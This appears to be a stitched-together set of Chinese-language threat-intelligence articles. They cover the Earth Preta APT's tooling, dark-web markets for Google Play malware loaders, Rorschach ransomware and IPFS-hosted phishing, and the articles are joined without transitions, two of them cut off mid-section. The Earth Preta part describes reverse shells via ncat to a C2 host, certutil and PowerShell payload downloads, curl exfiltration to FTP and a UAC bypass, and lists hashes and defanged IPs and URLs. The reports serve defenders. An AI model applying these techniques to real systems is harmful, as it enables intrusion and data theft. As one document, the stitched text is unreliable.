其中“U盤”指的是可移動驅動器。

然後,USB Driver.exe開始檢查是否正確安裝。如果安裝了它,它將開始感染更多的可移動磁盤,並將文件複製到一個名為autorun.inf的文件夾中。如果沒有安裝,它會將自己安裝到%programdata%,然後將註冊表運行項設置為持久性。

最後,側加載ACNSHELL惡意軟件rzlog4cpp.dll。然後,它將通過ncat.exe創建一個反向shell,用於關閉[.]theworkpc[.]com的服務器。

指揮與控制(CC)階段Earth Preta在CC階段使用了多種工具和命令。例如,該組織使用certutil.exe從服務器103[.]159[.]132[.]91下載合法的WinRAR二進製文件rar1.exe。

23.png

certutil.exe程序下載WinRAR二進製文件

研究人員還觀察到攻擊者使用PowerShell從服務器103[.]159[.]132[.]下載多個惡意軟件和文件,以備將來使用。

24.png

PowerShell下載惡意軟件

在某些示例中,研究人員甚至利用安裝在受害主機上的WinRAR二進製文件來解壓所有惡意軟件。

25.png

使用已安裝的WinRAR二進製文件解壓惡意軟件

雖然研究人員發現了涉及多個被釋放惡意軟件的幾個日誌,但研究人員只設法找回了其中的幾個。在收集的所有示例中,我們將重點介紹其中幾個。

Backdoor.Win32.CLEXECCLEXEC後門文件名為“SensorAware.dll”。這是一個簡單的後門,能夠執行命令和清除事件日誌。

26.png

CLEXEC命令代碼

Backdoor.Win32.COOLCLIENTCOOLCLIENT的後門首次出現在Sophos的一份報告中,報告中提到的樣本是在2021編譯的。在該示例中,研究人員分析的COOLCLIENT示例的最近編譯時間是在2022年,雖然它提供了相同的功能,但噹噹前進程名具有“.pdf”或“.jpg”文件擴展名時,它新增了打開誘餌文件(work.pdf)的功能。它還包含減少調試字符串(更少OutputDebugStrings調用)的功能。與此同時,loader.ja在兩個進程下使用:一個是在googleupdate.exe下,用於第一次側加載。第二個是在winver.exe下,它被注入進行後門行為。此外,COOLCLIENT應用了將在我們將在後面討論的混淆技術。

27.png

打開誘餌文件

下圖顯示了COOLCLIENT的整個執行流程。

28.png

COOLCLIENT的執行流

COOLCLIENT的參數提供了以下功能:

install.有三種不同的條件來決定COOLCLIENT的安裝方法,詳細信息如下:

1.它通過創建一個名為InstallSvc的InstallSvc服務來自我安裝,該服務將觸發“googleupdate.exe work”。

2.它通過命令C:\ProgramData\GoogleUpdate\ GoogleUpdate .exe為持久活動設置了一個運行項。

work.惡意軟件將繼續讀取和解密goopdate.ja,並將其註入到winver.exe中以用於包含攻擊的下一階段負載(COOLCLIENT)。

passuac.惡意軟件將檢查進程avp.exe是否存在。如果avp.exe不存在,UAC繞過將通過CMSTPLUA COM接口執行。如果avp.exe存在,UAC繞過將通過AppInfo RPC服務執行。

29.png

通過CMSTPLUA COM接口繞過UAC

WinRAR和curl根據研究人員的一些監控日誌,攻擊者濫用安裝的WinRAR二進製文件和上傳的curl可執行文件來竊取文件(下圖顯示了執行的命令)。注意,可執行文件log.log是一個合法的curl二進製文件。所有洩露的數據都被收集並發送回攻擊者控制的FTP(文件傳輸協議)服務器。

35.png

使用WinRAR和curl洩露數據

在某些示例中,研究人員偶然發現了FTP服務器的帳戶和密碼。在檢查FTP服務器後,研究人員了解到攻擊者主要專注於敏感和機密文件,其中大部分都經過壓縮並使用密碼保護。根據觀察,這些文件是通過對受害者的主機名和磁盤驅動器進行分類來組織的。

36.png

有被盜文件的FTP服務器

HackTool.Win32.NUPAKAGE除了眾所周知的合法工具外,攻擊者還製作了高度定制的用於洩露的工具。研究人員將這個惡意軟件命名為“NUPAKAGE”,該名稱源自其唯一的PDB字符串D:\Project\NEW_PACKAGE_FILE\Release \NEW_PACKAGE_FILE.PDB。

NUPAKAGE惡意軟件需要一個唯一的密碼才能執行,被竊取的數據被封裝在自定義文件格式中。攻擊者似乎在不斷更新該工具,以提供更大的靈活性並降低檢測的可能性,包括添加更多的命令行參數和混淆機制。默認情況下,它只收集文件,包括具有以下擴展名的文件:

doc

.docx

.xls

.xlsx

.ppt

.pptx

.pdf

它避免收集文件名以“$”或“~”開頭的文件,因為這些類型的文件通常要么是系統生成的臨時文件,要么是偽裝成誘餌文件的PE文件。

此工具的用法如下:

37.png

NUPAKAGE惡意軟件的參數

每一個NUPAKAGE惡意軟件都需要一個唯一的密碼作為它繼續執行的首個參數。如下圖所示,它首先檢查密碼是否存在。否則,惡意軟件執行過程將終止。在檢測過程中,研究人員觀察到每個惡意軟件中都有不同的密碼。

38.png

NUPAKAGE中的密碼檢查例程

39.png

NUPAKAGE中的密碼

執行後,NUPAKAGE將釋放xxx.zip和xxx.z兩個文件。 xxx.zip文件是一個日誌文件,其虛假zip標頭以0x0偏移量為前綴,佔用了前0x100個字節。從偏移量0x100開始,在XOR操作中使用單個字節對日誌記錄字符串進行加密,如下圖所示。

40.png

原始日誌文件(頂部),解密後的日誌文件(底部)中顯示純文本

以其中一個執行結果為例,保存了被洩露數據的大部分信息,包括原始文件路徑、原始文件大小和壓縮文件大小。研究人員認為攻擊者利用它來進一步追踪哪些文件被處理過。對於安全研究人員來說,這個日誌文件還有助於揭示有多少數據被洩露,並提供有關影響範圍的信息。

41.png

擴展名為.z的文件是一個自定義文件格式的洩露數據blob。 NUPAKAGE惡意軟件首先隨機生成一個密鑰blob,密鑰在自定義算法中加密。之後,它將加密的密鑰blob存儲到擴展名為.z的文件的前0x80字節中。從偏移量0x80開始,存在一個包含所有已過濾數據的長數組。

洩露文件中的大部分信息都會被保存,例如MD5哈希、文件名長度、壓縮文件大小、原始文件大小、文件名和文件內容。為了分離文件blob,它在每個blob的末尾放置一個唯一的字節序列,55 55 55 55 AA AA AA AA FF FF FF 99 99 99 99。

42.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式

43.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式描述

值得一提的是,在NUPAKAGE的最新版本中,越來越多的混淆被用來阻止靜態分析。

44.png

NUPAKAGE最新版本的垃圾代碼

HackTool.Win32.ZPAKAGEZPAKAGE是另一個用於封裝文件的自定義惡意軟件的示例;它的工作原理也與NUPAKAGE類似。它還需要一個密碼來確保它按預期使用。在下圖所示的示例中,密碼是“start”。

45.png

一個ZPAKAGE密碼的示例

ZPAKAGE也支持命令行參數,但它擁有的函數比NUPAKAGE少。該工具的使用方法如下:

46.png

ZPAKAGE支持的參數

ZPAKAGE也表現出與NUPAKAGE相似的行為。例如,它還避免使用名稱以“$”或“~”開頭的文件。此外,它還生成兩個文件,一個擴展名為.z,另一個擴展名稱為.zip。擴展名為.z的文件是已過濾的數據blob,擴展名為.zip的文件是日誌文件。

在生成的擴展名為.z的文件中,被洩露的文件將通過zlib算法進行壓縮,以最小化文件大小。它還定義了用於存儲的布爾字段“type”,無論文件是否被壓縮。如果壓縮後的文件大小小於原文件,則類型為1。否則,類型將被設置為0,並將選擇原始文件內容,而不是壓縮文件內容。無論文件內容是否被壓縮,它都將在異或操作中使用特定字符串qwerasdf對其進行加密。

47.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式

48.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式描述

檢測惡意攻擊自2022年10月以來,攻擊者已經更改了TTP,並開始使用受密碼保護的文件。例如,研究人員在VirusTotal上發現了一個TONEINS示例(SHA256: 8b98e8669d1ba49b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a),該示例不能鏈接到“關係”選項卡中的任何其他文件。但是,研究人員發現在“行為”選項卡中打開了兩個文件,文件名分別為~$Evidence information.docx和~$List of terrorist personnel at the border.docx,下一階段的有效負載通常嵌入在虛假文件文件中。

49.png

打開的TONEINS示例文件

下圖顯示了在VirusTotal上查詢“邊境恐怖分子人員名單”的搜索結果。第一個文件是研究人員在本節前面提到的TONEINS DLL示例,而第二個文件是一個正常的可執行文件,最初名為adobe_licensing_wf_helper.exe,顯然是上傳到VirusTotal的,文件名為List of terrorist personnel at the border.exe。

50.png

在VirusTotal上搜索字符串邊境恐怖分子名單的結果

51.png

提交adobe_licensing_wf_helper.exe

第三個文件是受密碼保護的文件,它有完全相同的文件名List of terrorist personnel at the border[1].rar。但由於沒有密碼,研究人員無法解壓它。但它在“Relations”選項卡中有一個有趣的父項執行,這是一個名為Letter Head.docx的文件。

52.png

terrorist personnel at the border[1].rar的父項執行

在Letter Head.docx文件中,有一個谷歌驅動器鏈接和一個密碼。內容本身與緬甸聯邦共和國政府有關,並用緬甸語書寫。

53.png

Letter Head.docx

檢查下載鏈接後,研究人員發現它與之前在VirusTotal上發現的受密碼保護的文件相同。

54.png

谷歌驅動器鏈接截圖

新的攻擊載體流與之前介紹的類似,受害者將收到一個包含谷歌驅動器鏈接和相應密碼的誘餌文件,而不是嵌入在電子郵件中的文件下載鏈接,並與之交互。

至於為什麼密碼保護的文件有父項執行,通過在VirusTotal上檢查Letter Head.docx的沙箱執行行為,研究人員發現VirusTotal沙箱會選擇文件中嵌入的任何鏈接。這將導致打開帶有文件下載提示的Internet Explorer窗口。

55.png

VirusTotal上Letter Head.docx文件的沙盒截圖

當顯示下載提示時,甚至在用戶選擇“保存”按鈕之前,Internet Explorer將在後台靜默地下載該文件。

結果,該文件將被保存到名為“INetCache”的緩存文件夾中,之後會看到一個被釋放的RAR文件:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\R0IAZP7Z\List%20of%20terrorist%20personnel%20at%20the%20border[1].rar.

由於RAR文件是由Internet Explorer自動下載的,因此Letter Head.docx將被視為它的執行父文件。

56.png

在VirusTotal上被釋放的Letter Head.docx文件

為了找到嵌入谷歌驅動器鏈接的其他受密碼保護的文件,研究人員嘗試使用以下查詢:

57.png

該查詢可以查找任何加密的RAR文件,其文件足夠大,路徑中包含文件夾名稱“INetCache”。幸運的是,研究人員發現了另一個帶有文件執行父級文件“Notic(20221010)(final).docx”的RAR文件,它原來是一個TONESHELL文件。

58.png

歸檔文件的關係

59.png

文件Notic(20221010)(final).docx的內容

有趣的是,在迄今為止收集的所有示例中,攻擊者使用以相同格式(DD-MM-YYYY)編寫的日期和時間字符串作為提取密碼。

連接點在調查過程中,研究人員觀察到一些數據點與同一個人有關。例如,研究人員在收集的不同惡意軟件樣本中發現了一個特定的名稱“TaoZongjie”。此外,Avast在2022年12月的報告中提到的名為“YanNaingOo0072022”的GitHub存儲庫託管了多個惡意軟件,包括TONESHELL。研究人員還觀察到不同惡意軟件之間的混淆方法有相似之處。

用戶“TaoZongjie”分析研究人員發現一些樣本共享相同的特殊字符串/名稱“TaoZongjie”,包括Cobalt Strike惡意軟件,TONESHELL CC服務器上的Windows用戶,以及TONESHELL彈出對話框中顯示的消息。

調查始於啟用了遠程桌面服務的TONESHELL CC服務器38[.]54[.]33[.]228,研究人員發現其中一個Windows用戶叫“TaoZongjie”。

60.png

38[.]54[.]33[.]228中的Windows用戶

在尋找與此次活動相關的樣本時,研究人員看到了一條發佈於2021年4月的關於Cobalt Strike的推文。乍一看,Cobalt Strike的使用方式與此活動類似,包括使用DLL側加載,使用谷歌驅動器鏈接進行傳播,並創建日程任務。

61.png

關於Cobalt Strike的推特

感染流程如下:歸檔文件通過Google Drive鏈接傳播,其中包含一個合法的EXE文件、一個惡意的DLL文件和一個用緬甸語編寫的誘餌文件。一旦惡意DLL被側加載,它將釋放嵌入DLL文件的資源部分的合法EXE文件和惡意DLL文件。在這個示例中,字符串By:Taozongjie被用作事件名稱。

62.png

Cobalt Strike的攻擊流

63.png

示例中的特殊字符串

在一個TONEINS示例(SHA256: 7436f75911561434153d899100916d3888500b1737ca6036e41e0f65a8a68707)中,研究人員還觀察到用於事件名稱的字符串taozongjie。

64.png

在TONEINS創建活動taozongjie

在另一個TONESHELL示例(SHA256: d950d7d9402dcf014d6e77d30ddd81f994b70f7b0c6931ff1e705abe122a481a)中,有一些無關緊要的導出函數,它們將通過消息框出現,字符串為Tao或zhang!儘管這兩個字符串的拼寫方式與taozongjie不完全相同,但它們的拼寫仍然相似。

65.png

TONESHELL的消息框

根據研究人員在不同樣本中發現的情況,研究人員假設taozongjie可能是攻擊者使用的標誌之一。

GitHub用戶“YanNaingOo0072022”分析在Avast和ESET報告中都提到了GitHub用戶“YanNaingOo0072022”。用戶的存儲庫託管各種惡意軟件,包括最新版本的TONEINS、TONESHELL和一個名為MQsTTang的ESET新工具QMAGENT。在撰寫本文時,這個GitHub空間仍然可以訪問,有五個存儲庫:“View2015,” “View2016,” “1226,” “ee,” 和“14.” 。其中,“View2015” 和“View2016”是空的。

66.png

YanNaingOo0072022 GitHub空間

1226此存儲庫中的歸檔文件都相同,但具有不同的文件名。研究人員認為這些文件是針對不同的受害者的。

sl-abstract-mobile-phone-malware-danger-blue-red-binary-code-1-1200x600.jpg

2022年,卡巴斯基安全解決方案檢測到近170萬個針對移動用戶的惡意軟件或不需要的軟件裝入程序。儘管傳播此類裝入程序的最常見方式是通過第三方網站和不正規的應用商店,但它們的開發者也會想方設法將它們上傳到Google Play等官方商店,以提高傳播範圍。

這些應用程序通常受到嚴格監管,並且在發布之前有專門人員對其進行預審核。可防不勝防,惡意和不需要的軟件開發者使用了各種技巧來繞過平台檢查。例如,他們可能會上傳一個良性的應用程序,然後用惡意或可疑的代碼更新它,感染新用戶和已經安裝該應用的用戶。惡意應用程序一被發現就會從Google Play中刪除,但有時是在下載多次之後才能被發現。

本文的研究起始於用戶投訴,有用戶投訴在Google Play上發現了許多惡意和不需要的應用程序,為此卡巴斯基實驗室的研究人員決定分析一下暗網上此類惡意軟件的供求情況。分析這種威脅是如何產生的尤為重要,因為許多攻擊者經常會集團化運作,買賣Google Play賬戶、惡意軟件、廣告服務等。這是一個完整的地下世界,有自己的規則、市場價格和聲譽機構,我們會在本報告中對此進行概述。

分析方法使用卡巴斯基數字足跡分析功能,研究人員收集到了Google Play此類情況的數據。卡巴斯基數字足跡會對文本存儲網站和受限制的地下在線論壇進行監控,以發現洩露的賬戶和信息洩露。本報告中提供的報價發佈於2019年至2023年,來自九個最受歡迎的論壇,用於購買和銷售與惡意軟件和不需要的軟件相關的商品和服務。

主要發現能夠將惡意或不需要的應用程序發送到Google Play的裝入程序的價格在2000美元到20000美元之間。

為了使攻擊不被發現,很大一部分攻擊者嚴格通過論壇和Telegram進行談判。

最流行的隱藏惡意軟件和不需要的軟件的應用程序類別包括加密貨幣跟踪器、金融應用程序、二維碼掃描儀,甚至約會應用程序。攻擊者接受三種主要的支付方式:一部分利潤、訂閱費或租金以及一次性支付。

攻擊者推出谷歌廣告吸引更多人下載惡意和不需要的應用程序。廣告的費用取決於目標國家。美國和澳大利亞用戶的廣告費用最高,高達1美元左右。

暗網上提供的惡意服務類型與合法的在線市場一樣,暗網上也有各種優惠,供有不同需求和預算的客戶使用。在下面的屏幕截圖中,你可以看到一個優惠列表,其中介紹了針對Google Play用戶可能需要的不同商品和服務的數量。這份清單的開發者認為價格太高,然而,它們與我們在其他暗網優惠中看到的價格並不矛盾。

攻擊者購買的主要產品是開發人員的Google Play帳戶,這些帳戶可以被攻擊者使用竊取的身份攻擊或註冊,以及幫助買家將其創作上傳到Google Play的各種工具的源代碼。此外,攻擊者還提供VPS(售價300美元)或虛擬專用服務器等服務,攻擊者使用這些服務來控制受感染的手機或重定向用戶流量,以及基於網絡的注入。網絡注入是一種監控受害者活動的惡意功能,如果他們打開了攻擊者感興趣的網頁,注入器就會將其替換為惡意網頁。這種功能的售價為每個25-80美元。

1.png

一家暗網服務提供商稱這些價格太高,並指出他們以更低的價格出售同樣的服務

Google Play裝入程序在分析的大多數優惠中,攻擊者出售Google Play裝入程序,其目的是將惡意或不需要的代碼注入Google Play應用程序。然後,該應用程序會在Google Play上更新,受害者可能會將惡意更新下載到他們的手機上。根據注入到應用中的具體內容,用戶可能會獲得更新的最終有效載荷,或者收到通知,提示他們啟用未知應用的安裝,並從外部來源安裝。

在後一種情況下,除非用戶同意安裝額外的應用程序,否則通知不會消失。安裝應用程序後,攻擊者需要獲得訪問手機關鍵數據的權限,如輔助服務、攝像頭、麥克風等。受害者可能無法使用原始的合法應用程序,直到他們給予執行惡意活動所需的權限。一旦所有請求的權限都被授予,用戶最終能夠使用應用程序的合法功能,但與此同時,他們的設備也會受到感染。

為了說服買家購買其開發的裝載程序,攻擊者有時會提供視頻演示,並向潛在客戶發送演示版本。在裝入程序功能中,他們的開發者可能會強調用戶友好的UI設計、方便的控制面板、目標國家過濾器、對最新Android版本的支持等等。攻擊者還可能為木馬應用程序添加檢測調試器或沙箱環境的功能。如果檢測到可疑環境,裝入程序可能會停止操作,或通知攻擊者它可能已被安全調查人員發現。

2.jpeg

Google Play裝入程序是暗網上Google Play攻擊中最受歡迎的產品

裝入程序的開發者通常會指定裝入程序使用的合法應用程序的類型。惡意軟件和不需要的軟件經常被注入加密貨幣跟踪器、金融應用程序、二維碼掃描儀甚至約會應用程序。攻擊者還強調了目標應用程序的合法版本有多少下載量,這意味著有很多潛在受害者會通過使用惡意或不需要的代碼更新應用程序而被感染。最常見的情況是,開發者承諾在下載量達到或超過5000次的應用程序中註入代碼。

3.jpeg

攻擊者出售將代碼注入加密貨幣跟踪器的Google Play裝入程序

綁定服務暗網上另一個常見的服務是綁定服務。本質上,這些裝入程序與Google Play裝入程序做的事情完全相同,即在合法應用程序中隱藏惡意或不需要的APK文件。然而,與裝入程序不同的是,裝入程序會調整注入的代碼以通過Google Play上的安全檢查,綁定服務會將惡意代碼插入到不一定適合官方Android市場的應用程序中。通常情況下,使用綁定服務創建的惡意和不需要的應用程序通過釣魚短信、帶有破解遊戲和軟件的可疑網站等方式傳播。

由於綁定服務的成功安裝率低於裝入程序,因此兩者在價格上有很大差異:裝入程序的成本約為5000美元而綁定服務的成本通常約為50 - 100美元或每個文件65美元。

4.jpeg

開發者對綁定服務的描述

開發者廣告中列出的綁定服務的優勢和功能通常與裝入程序的優勢和特點相似。不過,Binder(Binder 是一種進程間通信機制,基於開源的OpenBinder實現)通常缺乏與Google Play相關的功能。

惡意軟件模糊處理惡意軟件模糊處理的目的是通過使惡意代碼複雜化來繞過安全系統。在這種情況下,買家要么為處理單個應用程序付費,要么為訂閱付費,例如,每月付費一次。服務提供商甚至可以為購買套餐提供折扣。例如,其中一個開發者以440美元的價格提供50個文件的模糊處理,而同一提供商僅處理一個文件的成本約為30美元。

5.jpeg

Google Play威脅模糊處理優惠,每次50美元

安裝為了增加惡意應用程序的下載量,許多開發者甚至通過谷歌廣告來增加銷路。與其他暗網服務不同,這項服務是完全合法的,用於吸引盡可能多的應用程序下載,無論它是仍然合法的應用程序還是已被感染的應用程序。安裝成本取決於目標國家。均價為0.5美元,報價從0.1美元到1美元不等。在下面的截圖中,面向美國和澳大利亞用戶的廣告成本最高,為0.8美元。

6.png

開發者規定了每個國家的安裝價格

其他服務暗網開發者也會為買家發布惡意或不需要的應用程序。在這種情況下,買家不會直接與Google Play互動,但可以遠程接收應用程序活動的成果,例如,所有被其竊取的受害者數據。

平均價格和常見銷售規則卡巴斯基的專家分析了提供Google Play相關服務的暗網廣告的價格,發現買家可以接受不同的支付方式。這些服務可以以最終利潤的份額提供,也可以以一次性價格出租或出售。一些開發者也會拍賣他們的商品:由於出售的商品數量有限,它們不太可能被發現,所以買家可能願意為它們競價。例如,在研究人員發現的一次拍賣中,Google Play裝入程序的起拍價是1500美元,最終7000美元成交。

7.jpeg

開發者拍賣Google Play裝入程序

在暗網論壇上觀察到的裝入程序的價格在2000美元到20000美元之間,這取決於惡意軟件的複雜性、新穎性和流行性,以及附加功能。裝入程序的平均價格是6975美元。

8.jpeg

Google Play裝入程序的平均報價

然而,如果攻擊者想購買裝入程序源代碼,價格會立即飆升,超過價格範圍的上限。

9.jpeg

開發者以20000美元的價格提供Google Play裝入程序源代碼

與裝入程序不同,Google Play開發者帳戶(無論是被黑客入侵的還是由攻擊者新創建的)都可以很便宜地購買,例如,只需200美元,有時甚至只需60美元。價格取決於帳戶功能,如已發布的應用程序數量、下載數量等。

10.jpeg

用戶想購買一個可以訪問用戶電子郵件的Google Play帳戶

除了許多優惠外,研究人員還在暗網上發現了許多想要以特定價格購買特定產品或服務的信息。

11.jpeg

攻擊者正在尋找新的Google Play裝入程序

12.jpeg

用戶想買一個新的裝入程序

交易過程暗網上的服務提供商提供了一整套不同的工具和服務。為了保持他們的活動不被發現,很大一部分攻擊者會通過暗網論壇上的私人消息或社交網絡和Telegram進行溝通。

在暗網開發者中,為了降低交易風險,攻擊者經常求助於無私的中介機構——託管服務或中間商。託管可能是一種特殊服務,由影子平台或對交易結果不感興趣的第三方支持。然而,請注意,在暗網上,沒有什麼能100%消除被騙的風險。

總結從暗網上此類威脅的供應量和需求量來看,可以斷定此類威脅只會增長,並變得更加複雜和先進。

防護措施:

不要啟用未知應用程序的安裝。如果某個應用程序催促你下載安裝,那麼要小心了。如果可能,請卸載該應用程序,並使用防病毒軟件掃描設備。

檢查你使用的應用程序的權限,並在授予不需要的權限之前仔細考慮,尤其是在涉及輔助功能服務等高風險權限時。比如,手電筒應用程序唯一需要的權限就是使用手電筒。

使用可靠的安全解決方案,可以幫助你在惡意應用程序和廣告軟件在設備上出現不當行為之前發現它們。

隨時更新你的操作系統和重要應用程序。要確保應用程序更新是良性的,請在安全解決方案中啟用自動系統掃描,或者在安裝更新後立即掃描設備。

對於組織來說,有必要使用強密碼和雙因素驗證保護其開發人員帳戶,並監控暗網,以儘早檢測和緩解憑據洩漏風險。

1.png

一家總部位於美國的公司遭到網絡攻擊之後,惡意軟件研究人員發現了一種似乎具有“獨特技術功能”的新型勒索軟件,他們將其命名為Rorschach。

研究人員觀察到的功能之一是加密速度:據研究人員的測試結果顯示,Rorschach憑此速度成為如今最快速的勒索軟件威脅。

分析師們發現,黑客在利用一款威脅檢測和事件響應工具存在的弱點之後,在受害者網絡上部署了惡意軟件。

Rorschach的細節網絡安全公司Check Point的研究人員在應對美國一家公司的安全事件時發現,Rorschach是通過Cortex XDR中的簽名組件使用DLL側加載技術部署的,Cortex XDR是知名網絡安全公司Palo Alto Networks 的一款擴展檢測和響應產品。

攻擊者使用Cortex XDR轉儲服務工具(cy.exe)版本7.3.0.16740來側加載Rorschach加載器和注入器(winutils.dll),這導致將勒索軟件的攻擊載荷“config.ini”投放到記事本(Notepad)進程中。

加載器文件具有類似UPX的反分析保護機制,而主攻擊載荷通過使用VMProtect軟件對部分代碼進行虛擬化處理來防止逆向工程和檢測。

Check Point聲稱,Rorschach在Windows域控制器上執行時會創建一個組策略,以傳播到域中的其他主機。

在攻陷機器之後,惡意軟件會刪除四個事件日誌(應用程序日誌、安全日誌、系統日誌和Windows Powershell日誌),以清除其痕跡。

2.png

圖1. 攻擊鏈(圖片來源:Check Point)

雖然帶有硬編碼配置,但Rorschach支持可以擴展功能的命令行參數。

Check Point特別指出,這些選項是隱藏的,如果不對惡意軟件進行逆向工程分析,就無法訪問。以下是研究人員發現的一些參數:

3.png

圖2. Check Point 破解的參數

Rorschach的加密過程只有當受害者的機器用獨聯體(CIS)之外的語言加以配置時,Rorschach才會開始加密數據。

加密方案結合了curve25519算法和eSTREAM cipher hc-128算法,遵循間歇加密趨勢,這意味著它只對文件進行部分加密,從而提高了處理速度。

4.jpg

圖3. Rorschach的加密方案(圖片來源:Check Point)

研究人員特別指出,Rorschach 的加密例程表明“通過I/O完成端口高效地實現線程調度”。

Check Point表示:“此外,為了加快速度,似乎格外重視編譯器優化,大部分代碼進行了內聯處理。所有這些因素使我們認為,我們面對的可能是外面速度最快的勒索軟件之一。”

為了了解Rorschach的加密速度有多快,Check Point在一台六核CPU機器上搭建了含有220000個文件的測試環境。

Rorschach花了4.5分鐘來加密數據,而被認為最快的勒索軟件家族的LockBit v3.0卻用了7 分鐘才完成加密。

在鎖定係統之後,惡意軟件投放一封勒索函,其格式類似Yanlowang勒索軟件所用的勒索函。

據研究人員聲稱,這個惡意軟件的以前版本使用了類似DarkSide的勒索函。

Check Point表示,這種相似性可能導致其他研究人員將不同版本的Rorschach誤認為是DarkSide,後者於2021年更名為BlackMatter,並於同年銷聲匿跡。

5.jpg

圖4. Rorschach投放的最新勒索函(圖片來源:Check Point)

BlackMatter的成員後來策劃了ALPHV/BlackCat勒索軟件行動,該行動於2021年11月啟動。

Check Point評估後認為,Rorschach從一些在線洩露的主要勒索軟件家族(Babuk、LockBit v2.0和DarkSide)借鑒了更好的功能。

除了自我傳播能力外,該惡意軟件還“提高了勒索攻擊的門檻”。

目前,Rorschach勒索軟件的運營商仍然不得而知,也沒有什麼品牌,這種情況在勒索軟件領域很少見。

微信截图_20230421165743.png

2022年,unit42觀察到,IPFS(InterPlanetary File System,星際文件系統)被廣泛用作惡意工具。 IPFS是一種全新的超媒體文本傳輸協議,可以把它理解為一種支持分佈式存儲的網站。

與任何技術一樣,IPFS也可能被攻擊者者濫用。然而,由於IPFS上的託管內容是去中心化和分佈式的,因此在定位和刪除生態系統中的惡意內容方面存在挑戰,這使其類似於bullet-proof 託管。

從2021第四季度到2022年第四季度末,Palo Alto Networks檢測到IPFS相關流量增加了893%。調查還顯示,病毒總數在同一時期增長了27000%以上。 IPFS相關流量的增加伴隨著惡意活動的顯著增加。檢測發現,2022年的許多攻擊活動涵蓋了網絡釣魚、憑證盜竊和惡意有效負載傳播。

整體流量增加從2022年第一季度開始,Palo Alto Networks的IPFS流量顯著增加,如下圖所示。 2022年第一季度,研究人員檢測到IPFS流量與2021年最後一個季度末的記錄相比增長了178%。

之後流量繼續增加:

第二季度增長85%;

第三季度增長62%;

2022年最後一個季度增長了19%;

這相當於整體增長了893%。

1.png

與IPFS相關的流量在2022年第一季度的VirusTotal上也出現了類似的增長,與2021年第四季度相比增長了6503%

之所以會出現這種增長,是因為採用了IPFS技術。新技術出現後總會有人惡意使用它。研究人員在Palo Alto Networks和VirusTotal提交的IPFS流量中觀察到的顯著增加也包括使用IPFS的惡意活動的大幅增加。

研究人員觀察到,攻擊者經常為他們的詐騙服務做廣告,使用各種宣傳。也就是說,由於IPFS分佈式文件系統的性質,IPFS為他們的活動提供了持久性。

3.png

攻擊者使用客戶IPFS鏈接銷售詐騙服務

4.png

5.png

6.png

攻擊者出售IPFS網絡釣魚頁面

攻擊者正在使用公共IPFS網關作為傳遞其惡意內容的方式。如果沒有這些互聯網可訪問網關,攻擊者將無法將IPFS網絡作為其攻擊活動的一部分。這一趨勢在許多網絡釣魚和網絡犯罪活動中使用互聯網可訪問的IPFS鏈接中可以看到,這些活動的初始攻擊媒介通常是電子郵件誘餌。

接下來,我們將詳細介紹在分析惡意使用IPFS技術時看到的一些攻擊活動。

網絡釣魚下圖顯示了IPFS與網絡釣魚相關的網絡流量呈指數級增長,尤其是在今年最後一個季度。與託管在網絡上的傳統網絡釣魚頁面不同,託管提供商或管理機構無法輕鬆刪除IPFS網絡釣魚內容。

一旦發佈到IPFS網絡,任何人都可以在自己的節點上獲取並重新發佈內容。網絡釣魚內容可以託管在多個節點上,並且必須向每個主機發出刪除內容的請求。如果任何一個主機不同意刪除,那麼內容幾乎不可能被刪除。

由於網站所有者、託管提供商或版主刪除或暫停內容,網絡釣魚活動的生存時間(TTL)通常比其他類型的網絡犯罪更短。 IPFS的結構使攻擊者能夠通過使其更具抵禦能力來延長他們的活動。

7.png

IPFS網絡釣魚URL

IPFS網絡釣魚活動與傳統網絡釣魚活動類似,攻擊者模仿合法服務和軟件(如DHL、DocuSign和Adobe)來增加進入某人收件箱的可能性。阻止這些誘惑的能力取決於接收組織的電子郵件安全性。雖然一些組織在其安全電子郵件網關和其他安全產品中製定了非常嚴格的規則,但其他組織沒有這樣做,因為擔心合法的電子郵件會受到影響。

請注意,下面顯示的名稱和徽標是攻擊者試圖冒充合法組織的作品,攻擊者的模仿並不意味著合法組織的產品或服務存在漏洞。

在下面的示例中,模仿DHL品牌的電子郵件誘餌包含一個附件。在該附件中,有一個指向實際網絡釣魚頁面的IPFS鏈接。

8.png

DHL主題的電子郵件誘餌,附件已提交給VirusTotal

一旦用戶點擊下圖所示的附件,就會預覽一張模仿Adobe PDF標識的假髮票。 “打開”按鈕實際上是一個IPFS鏈接,將用戶重定向到實際的網絡釣魚頁面,而不是打開PDF。這個頁面可以通過IPFS網關訪問。

9.png

附有DHL誘餌鏈接的附件

IPFS URL通過IPFS[.]io將用戶重定向到Adobe網絡釣魚頁面,然後嘗試竊取用戶的登錄憑據。

10.png

在DHL主題誘餌的附件中發現了IPFS釣魚鏈

與其他Web3技術一樣,常用的數據外竊取方法在IPFS網絡上是不可能的。攻擊者無法接收受害者輸入到表單中的數據,從而竊取他們的憑據。

標準的web表單使用HTML前端來顯示內容,後端使用表單處理器來收集、處理並將數據發送到web服務器。 IPFS不包含相同或類似的技術來處理這些動態功能。

使用IPFS的人只是簡單地提取或檢索數據的只讀副本,而不是與之交互。 IPFS網關後面的網絡釣魚頁面依賴於許多其他技術。

例如,攻擊者可以在收集帳戶憑證的網頁中使用嵌入式腳本代碼。他們還可以使用無頭表單,即可以填寫和收集的靜態用戶表單。表單字段被映射到JSON模型,以便通過API發送到後端系統,從而促進API驅動的竊取。這些信息是通過HTTP POST請求收集的,這些請求被發送給攻擊者,在那裡它可以被用於其他惡意目的。

Nillis.html中的未轉義腳本下圖顯示了一個模仿Microsoft的網絡釣魚示例,它以HTML頁面的形式託管。鏈接此頁面的IPFS URL為

hxxps[://]bafybeicw4jjag57bk3czji7wjznkkpbocg27qk3fjvqh5krbrfiqbksr2a[.]ipfs[.]w3s[.]link/Nills[.]html.

11.png

Nills.html的網絡釣魚頁面

要了解憑據將如何被竊取的,有必要查看網頁的源內容。

下圖顯示了一個名為WriteHTMLtoJS的函數。此函數的目的是將HTML寫入JavaScript (JS),並對內容進行轉義。 UnescapeJS函數負責用實際的ASCII字符值解碼十六進制序列

12.png

Nills.html網頁的源代碼視圖

解碼和分析未轉義的內容會發現一對腳本標籤和一個觀察到的URL,它是app[.]headlessforms[.]cloud,網絡釣魚頁面似乎與此URL有關。

